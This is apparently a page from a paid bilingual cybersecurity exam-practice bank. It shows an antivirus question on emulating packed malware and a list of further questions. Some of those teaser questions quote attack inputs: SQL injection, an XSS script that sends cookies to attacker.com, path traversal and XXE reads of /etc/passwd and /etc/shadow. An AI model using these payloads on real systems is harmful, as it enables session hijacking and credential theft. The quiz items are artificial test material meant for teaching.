Some malware is packed or encrypted so its real code is hidden on disk. How can an antivirus engine see through this before letting the file run?
Certains logiciels malveillants sont compressés ou chiffrés pour que leur vrai code soit caché sur le disque. Comment un moteur antivirus peut-il voir au travers avant de laisser le fichier s'exécuter ?
Answers
ABy contacting the malware's author and asking for the keyEn contactant l'auteur du logiciel malveillant pour lui demander la clé
BBy emulating it briefly so the code unpacks itselfEn l'émulant brièvement pour que le code se décompresse de lui-même
CBy deleting every packed file on the diskEn supprimant tous les fichiers compressés du disque
DBy compressing the file even furtherEn compressant le fichier encore davantage
The answer and explanation are in the full bank.
This question is one of 2,831 in the paid banks. Each comes with the correct answer and the reasoning behind it, not just a mark.
Unlock for 5,000 RWFMIFOTRA exam practicealigned to Practice set: Antivirus Software·3 marks·Hard
More Cybersecurity questions
- A developer discovers that entering `' OR 1=1 --` into a web portal's login field bypasses authentication entirely. This is an example of...
- A user posts a comment on a blog containing `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>`. When other users view the comment, their session IDs are stolen. This is...
- An attacker tricks an authenticated user into clicking a link that secretly submits a password change request to a banking site where the user is currently logged in. The site accepts it. This attack is...
- A legacy C application crashes when a user inputs a string of 150 A's into a field designed for a 20-character last name. The attacker can use this to execute arbitrary shellcode. This describes a...
- An attacker modifies a URL parameter from `download.php?file=report.pdf` to `download.php?file=../../../../etc/passwd` and successfully retrieves a sensitive system file. This is an example of...
- A customer logs into an e-commerce site and notices their user profile URL is `profile.php?id=1045`. They change the 1045 to 1046 and view another customer's private billing details. This vulnerability is...
- An application parsing uploaded XML invoices fails to disable external entity processing. An attacker uploads a crafted XML file containing `<!ENTITY xxe SYSTEM "file:///etc/shadow">` to steal passwords. This is...
- A web application uses a vulnerable third-party library to process images. An attacker submits an image containing malicious code that executes on the server. The failure to validate the library represents a...